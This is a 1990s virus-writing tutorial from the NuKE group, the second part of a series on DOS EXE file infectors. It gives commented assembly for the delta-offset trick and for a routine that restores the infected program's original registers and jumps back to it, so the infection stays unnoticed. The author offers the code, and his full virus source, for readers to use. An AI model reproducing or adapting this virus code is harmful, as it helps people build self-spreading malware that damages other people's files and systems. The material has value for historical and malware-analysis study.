                      
                  *****************************   
                  **  EXE Infectors Part II  **                              
                  **                         **                              
                  **   By Rock Steady/NuKE   **
                  *****************************

 The first part consisted on how to Infect the EXE file, from a resident   
 virus. However, that is only HALF the code and understanding needed for   
 EXE infectors. The part to follow, is on how to give control back to the  
 original EXE file. This is one part of EXE infectors, that mostly EVERY   
 ONE tend to forget to point out. Big tickle, you know how to infect the   
 EXE, but can you make the original EXE run after its infection? Do you    
 know how to restore the registers we took from the EXE header? Anyhow     
 lets get going...                                                         
                                                                           
 If the Infected EXE file is now executed, the first Line of Code it will  
 encounter will be the first byte of our Virus. Since CS:IP have been      
 changed in the header (Part I) to point to our Virus. The first thing     
 we will need to do, is set up a Variable offset, (As I call it). Basically
 when TASM compiles our virus, all variables and other data locations are  
 given a FIX address. Though in the case of the Virus this is NOT GOOD as  
 viruses, tend to append themselves, and therefore variables are never     
 in the same location...                                                   
 Fig 1.                                                                    
   (Original ASM Source)                                                   
           CALL   doit_Now             ;Call PUSHes CS:IP addresses        
 doit_now: POP    BP                   ;POP in BP the IP register          
           SUB    BP,offset doit_now   ;Make it EQUAL 0 for first Compile! 
           MOV    AX,word ptr cs:[variable+BP] ;BP=0 now it works!         
           ...                                                             
 variable  dd     55                                                       
 When TASM Compiles the above Code it turns it into Fig 2. (Below)         
 Fig 2.                          Fig 3.                                    
   (Virus Just Compiled)                (Virus Infect to a file)           
 1234:0100   CALL  1234:0103          1234:0100  JMP  500                  
 1234:0103   POP   BP                 1234:0102  ...   (Infect File)       
 1234:0104   SUB   BP,0103                       ...      ''    ''         
 1234:0107   MOV   AX,[0200+BP]       1234:0200  ...      ''    ''         
             ...                                 ...      ''    ''         
 1234:0200   dd    55                 1234:0500  CALL 1234:0503            
                                      1234:0503  POP  BP       (BP=503)    
                                      1234:0504  SUB  BP,0103  (BP=400)    
                                      1234:0507  MOV  AX,[0200+BP]         
                                                 ...      (200+BP=600)     
                                      1234:0600  dd   55                   
 Later when the Virus infects a File, it will represent Fig 3. Now, when   
 the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP    
 so when it has to RETurn, all it has to do is POP back the CS:IP to know  
 exactly where it left off! So we can take advantage of the command, by    
 POPing back ourselves, thus this will give us the NEXT byte from the CALL 
 command. which as you see, in the examples is our POP BP statement.       
                                                                           
 However when the Virus is Freshly Compiled, all Registers values are GOOD,
 so that is why we must make BP=0 the first time, as the variables were    
 set according to the sources, so no adjustment needed, though when we     
 infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)
                                                                           
 Boy, That was the HARDEST part of that, Now if you found that simple pat  
 yourself on the back, as that is the only `BIG' Conflict people tend to   
 disregard or forget. So any time while you are NOT resident but infected  
 on the file, and you are running code from the infected file just use the 
 that BP Variable Pointer, for any data being loaded... Now lets put the   
 routine together, along with the routine to EXECUTE the original EXE file 
                                                                           
 ; After the Virus Has moved a copy of itself in memory, Control must be   
 ; Given back to the Original EXE file we just infected... This is the     
 ; Routine to do it..                                                      
 exit_exe_file:                                                            
         mov     bx,word ptr cs:[buffer+22][bp]  ;Loads CS register        
         mov     ax,cs                           ;Move current CS in AX    
         sub     ax,bx                           ;Subtract for alinment    
         mov     dx,ax                                                     
         add     ax,word ptr cs:[exe_cs][bp]     ;Get ORIGINAL CS          
         add     dx,word ptr cs:[exe_ss][bp]     ;Get ORIGINAL SS          
         mov     bx,word ptr cs:[exe_ip][bp]     ;Get ORIGINAL IP          
         mov     word ptr cs:[fuck_yeah][bp],bx  ;Put IP                   
         mov     word ptr cs:[fuck_yeah+2][bp],ax ;Put CS (Reverse Order)  
         mov     ax,word ptr cs:[exe_sp][bp]     ;Get ORIGNAL SP           
         mov     word ptr cs:[Rock_fix1][bp],dx  ;Put in SS                
         mov     word ptr cs:[Rock_fix2][bp],ax  ;Put in SP                
         db      0B8h     ;The Byte `B80000' is really a MOV AX,????       
 Rock_Fix1:               ;???? is the Value of SS that we will put into   
         dw      0        ;THIS LINE!                                      
         cli                     ;Disable Interrupts (No Jamming)          
         mov     ss,ax           ;Mov the AX (really SS) into SS register  
         db      0BCh    ;Byte `BC0000' is really a MOV SP,????            
 Rock_Fix2:              ;???? is the Value of SP that we will put into    
         dw      0       ;THIS LINE!!                                      
         sti                     ;Enable Interrupts                        
         db      0EAh    ;The Byte `EA00000000' is a JMP CS:IP How ever    
 fuck_Yeah:              ;IP comes FIRST then CS (Reverse Order) And then  
         dd      0       ;the Virus does the JMP CS:IP to the Original     
                         ; Simple huh?                                     
 ; To see this as a HOLE Virus look at `NuKE PoX V1.1' Virus Sources Codes 
 ; Made by me (Rock Steady) As you can see the Code is ORGINAL, and nothing
 ; that looks like any of them Sources we see around. Though I give it to  
 ; you to use.                                                             
                         Rock Steady / NuKE                                
   `One, Two, One, Two, One, Two... Come On Get into that Olympic Spirit'  
     `Lose Them pounds, Get Rid of that unwanted FAT of them Drives...'    
